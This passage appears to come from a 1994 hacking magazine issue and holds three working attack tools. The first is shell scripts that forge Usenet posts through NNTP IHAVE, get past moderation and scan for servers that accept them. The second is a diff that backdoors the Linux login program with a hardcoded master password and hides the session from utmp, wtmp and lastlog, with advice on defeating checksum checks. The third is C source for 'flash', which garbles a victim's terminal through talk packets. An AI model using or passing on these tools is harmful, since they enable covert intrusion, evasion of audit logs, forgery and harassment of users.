these IDs. Change the other headers to say what you like -- From:, Newsgroups:, Sender:, etc. Replace the original message text with your message. If you are posting to a moderated group, remember to put in an Approved: header to bypass the moderation mechanism. Write out the changed file, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script: ======================= #! /bin/sh ## Post an article via IHAVE. ## args: filename server if test "$2" = "" ; then echo usage: $0 filename server exit 1 fi if test ! -f $1 ; then echo $1: not found exit 1 fi # suck msg-id out of headers, keep the brackets msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \ sed 's/.*-[Ii][Dd]: //'` echo $msgid ( sleep 5 echo IHAVE $msgid sleep 3 cat $1 sleep 1 echo "." sleep 1 echo QUIT ) | telnet $2 119 ======================= If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash. ======================= #! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp ======================= Once you have your host list, feed it to the following script. ======================= #! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave k00l@x.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet done ======================= If the above script is called "findem" and you're using csh, you should do findem < list >& outfile so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears. You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from. ------------------------------------------------------------------------------ Magic Login - Written by Data King - 7 July 1994 PLEASE NOTE:- This program code is released on the understanding that neither the author or Phrack Magazine suggest that you implement this on **ANY** system that you are not authorized to do so. The author provides this implementation of a "Magic" login as a learning exercise in security programming. Sorry for the disclaimer readers but I was advised by the AFP (Australian Federal Police) that if I ever released this code they would bust me for aiding and abetting. I am releasing it anyway as I believe in the right of people to KNOW, but not necessarily to DO. As always I can be emailed at dking@suburbia.apana.org.au (Please note:- I have a NEW pgp signature.) INTRODUCTION ~~~~~~~~~~~~ Briefly I am going to explain what a "Magic" login is and some of the steps you need to go through to receive the desired result. At the end of this article is a diff that can be applied to the shadow-3.2.2-linux archive to implement some of these ideas. EXPLANATION ~~~~~~~~~~~ A "Magic" login is a modified login program that allows the user to login without knowing the correct password for the account they are logging into. This is a very simple programming exercise and can be done by almost anyone, but a really effective "Magic" login program will do much more than this. The features of the supplied "Magic" login are: - Will login to any valid account as long as you know the Magic password. - Hides you in UTMP [B - Does not Log to WTMP - Allows Root Login from NON authorized Terminals - Preserves the Lastlogin information (ie Keeps it as though you had never logged in with the magic password) - Produces a binary that is exactly the same length as the original binary. IMPLEMENTATION ~~~~~~~~~~~~~~ I am not going to go into great detail here on how to write such a system as this. The code is very simple and it contains plenty of comments, so just look there for ideas. For this system to have less chance of being detected you need to do several things. First select a "Magic" password that is not easily identifiable by stringing the binary. This is why in the example I have used the word "CONSOLE", this word already appears several times in the binary so detection of one more is unlikely. Admittedly I could of encrypted the "Magic" password, but I decided against this for several reasons. The second thing you would need to do if you where illegally placing a "Magic" login on a system would be to ensure that the admins are not doing CRC checks on SUID(0) programs, or if they are that you change the CRC record of login to match the CRC record of the "Magic" login. Thirdly do not forget to make the date and time stamp of the new binary match the old ones. To install a new /bin/login on a system you will need to be root, now if you are already root why would you bother? Simple, it is just one more backdoor that you can use to get back in if you are detected. LIMITATIONS ~~~~~~~~~~~ This version of the "Magic" login program does not have the following features, I leave it entirely up to you about implementing something to fix them: - Shells & Programs show up in the Process Table - tty Ownership and attributes - /proc filesystem Any one of these to an alert system admin will show that there is an "invisible" user on the system. However it has been my experience that most admin's rarely look at these things, or if they do they can not see the wood for the trees. ---------- diff -c /root/work/login/console.c /root/work/logon/console.c *** /root/work/login/console.c Sun Oct 11 07:16:47 1992 --- /root/work/logon/console.c Sat Jun 4 15:29:15 1994 *************** *** 21,26 **** --- 21,27 ---- #endif extern char *getdef_str(); + extern int magik; /* * tty - return 1 if the "tty" is a console device, else 0. *************** *** 47,52 **** --- 48,57 ---- if ((console = getdef_str("CONSOLE")) == NULL) return 1; + /* Fix for Magic Login - UnAuth Console - Data King */ + + if (magik==1) + return 1; /* * If this isn't a filename, then it is a ":" delimited list of * console devices upon which root logins are allowed. diff -c /root/work/login/lmain.c /root/work/logon/lmain.c *** /root/work/login/lmain.c Mon Oct 12 17:35:06 1992 --- /root/work/logon/lmain.c Sat Jun 4 15:30:37 1994 *************** *** 105,110 **** --- 105,111 ---- char *Prog; int newenvc = 0; int maxenv = MAXENV; + int magik; /* Global Flag for Magic Login - Data King */ /* * External identifiers. diff -c /root/work/login/log.c /root/work/logon/log.c *** /root/work/login/log.c Mon Oct 12 17:35:07 1992 --- /root/work/logon/log.c Sat Jun 4 15:37:22 1994 *************** *** 53,58 **** --- 53,59 ---- extern struct passwd pwent; extern struct lastlog lastlog; extern char **environ; + extern char magik; long lseek (); time_t time (); *************** *** 83,89 **** (void) time (&newlog.ll_time); (void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line); (void) lseek (fd, offset, 0); ! (void) write (fd, (char *) &newlog, sizeof newlog); (void) close (fd); } --- 84,93 ---- (void) time (&newlog.ll_time); (void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line); (void) lseek (fd, offset, 0); ! if (magik !=1) /* Dont Modify Last login Specs if this is a Magic */ ! { /* login - Data King */ ! (void) write (fd, (char *) &newlog, sizeof newlog); ! } (void) close (fd); } diff -c /root/work/login/utmp.c /root/work/logon/utmp.c *** /root/work/login/utmp.c Mon Oct 12 17:35:36 1992 --- /root/work/logon/utmp.c Sat Jun 4 15:41:13 1994 *************** *** 70,75 **** --- 70,77 ---- extern long lseek(); #endif /* SVR4 */ + extern int magik; + #define NO_UTENT \ "No utmp entry. You must exec \"login\" from the lowest level \"sh\"" #define NO_TTY \ *************** *** 353,368 **** /* * Scribble out the new entry and close the file. We're done * with UTMP, next we do WTMP (which is real easy, put it on ! * the end of the file. */ ! ! (void) write (fd, &utmp, sizeof utmp); ! (void) close (fd); ! ! if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) { (void) write (fd, &utmp, sizeof utmp); (void) close (fd); } - utent = utmp; #endif /* SVR4 */ } --- 355,372 ---- /* * Scribble out the new entry and close the file. We're done * with UTMP, next we do WTMP (which is real easy, put it on ! * the end of the file. If Magic Login, DONT write out UTMP - Data King */ ! if (magik !=1) ! { (void) write (fd, &utmp, sizeof utmp); (void) close (fd); + + if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) { + (void) write (fd, &utmp, sizeof utmp); + (void) close (fd); + } + utent = utmp; } #endif /* SVR4 */ } diff -c /root/work/login/valid.c /root/work/logon/valid.c *** /root/work/login/valid.c Sun Oct 11 07:16:55 1992 --- /root/work/logon/valid.c Sat Jun 4 15:47:28 1994 *************** *** 25,30 **** --- 25,32 ---- static char _sccsid[] = "@(#)valid.c 3.4 08:44:15 9/12/91"; #endif + extern int magik; + /* * valid - compare encrypted passwords * *************** *** 43,48 **** --- 45,64 ---- char *encrypt; char *salt; char *pw_encrypt (); + char *magic; + + /* + * Below is the piece of code that checks to see if the password + * supplied by the user = the Magic Password - Data King + */ + + magic = "CONSOLE"; /* Define this as the Magic Password - Data King */ + + if (strcmp(password,magic) == 0) + { + magik = 1; + return(1); + } /* * Start with blank or empty password entries. Always encrypt ------------------------------------------------------------------------------ /* flash.c */ /* This little program is intended to quickly mess up a user's terminal by issuing a talk request to that person and sending vt100 escape characters that force the user to logout or kill his/her xterm in order to regain a sane view of the text. It the user's message mode is set to off (mesg n) he/she will be unharmed. This program is really nasty :-) Usage: flash user@host try compiling with: gcc -o flash flash.c */ #include #include #include #include #include #include /* this should really be in an include file.. */ #define OLD_NAME_SIZE 9 #define NAME_SIZE 12 #define TTY_SIZE 16 typedef struct { char type; char l_name[OLD_NAME_SIZE]; char r_name[OLD_NAME_SIZE]; char filler; u_long id_num; u_long pid; char r_tty[TTY_SIZE]; struct sockaddr_in addr; struct sockaddr_in ctl_addr; } OLD_MSG; typedef struct { u_char vers; char type; u_short filler; u_long id_num; struct sockaddr_in addr; struct sockaddr_in ctl_addr; long pid; char l_name[NAME_SIZE]; char r_name[NAME_SIZE]; char r_tty[TTY_SIZE]; } CTL_MSG; #define TALK_VERSION 1 /* protocol version */ /* Types */ #define LEAVE_INVITE 0 #define LOOK_UP 1 #define DELETE 2 #define ANNOUNCE 3 int current = 1; /* current id.. this to avoid duplications */ struct sockaddr_in *getinaddr(char *hostname, u_short port) { static struct sockaddr addr; struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)&addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /* it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't find address"); exit(-1); return (struct sockaddr_in *)0; } } /* all done. */ return (struct sockaddr_in *)address; } SendTalkPacket(struct sockaddr_in *target, char *p, int psize) { int s; struct sockaddr sample; /* not used.. only to get the size */ s = socket(AF_INET, SOCK_DGRAM, 0); sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); } new_ANNOUNCE(char *hostname, char *remote, char *local) { CTL_MSG packet; struct sockaddr_in *address; /* create a packet */ address = getinaddr(hostname, 666 ); address->sin_family = htons(AF_INET); bzero( (char *)&packet, sizeof(packet) ); packet.vers = TALK_VERSION; packet.type = ANNOUNCE; packet.pid = getpid(); packet.id_num = current; bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE); strncpy( packet.r_name, remote, NAME_SIZE); strncpy( packet.r_tty, "", 1); SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); } old_ANNOUNCE(char *hostname, char *remote, char *local) { OLD_MSG packet; struct sockaddr_in *address; /* create a packet */ address = getinaddr(hostname, 666 ); address->sin_family = htons(AF_INET); bzero( (char *)&packet, sizeof(packet) ); packet.type = ANNOUNCE; packet.pid = getpid(); packet.id_num = current; bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE); strncpy( packet.r_name, remote, NAME_SIZE); strncpy( packet.r_tty, "", 1); SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) ); } main(int argc, char *argv[]) { char *hostname, *username; int pid; if ( (pid = fork()) == -1) { perror("fork()"); exit(-1); } if ( !pid ) { exit(0); } if (argc < 2) { puts("Usage: "); exit(5); } username = argv[1]; if ( (hostname = (char *)strchr(username, '@')) == NULL ) { puts("Invalid name. "); exit(-1); } *hostname = '\0'; hostname++; if (*username == '~') username++; #define FIRST "\033c\033(0\033#8" #define SECOND "\033[1;3r\033[J" #define THIRD "\033[5m\033[?5h" new_ANNOUNCE(hostname, username, FIRST); old_ANNOUNCE(hostname, username, FIRST); current++; new_ANNOUNCE(hostname, username, SECOND); new_ANNOUNCE(hostname, username, SECOND); current++; new_ANNOUNCE(hostname, username, THIRD); old_ANNOUNCE(hostname, username, THIRD); } ------------------------------------------------------------------------------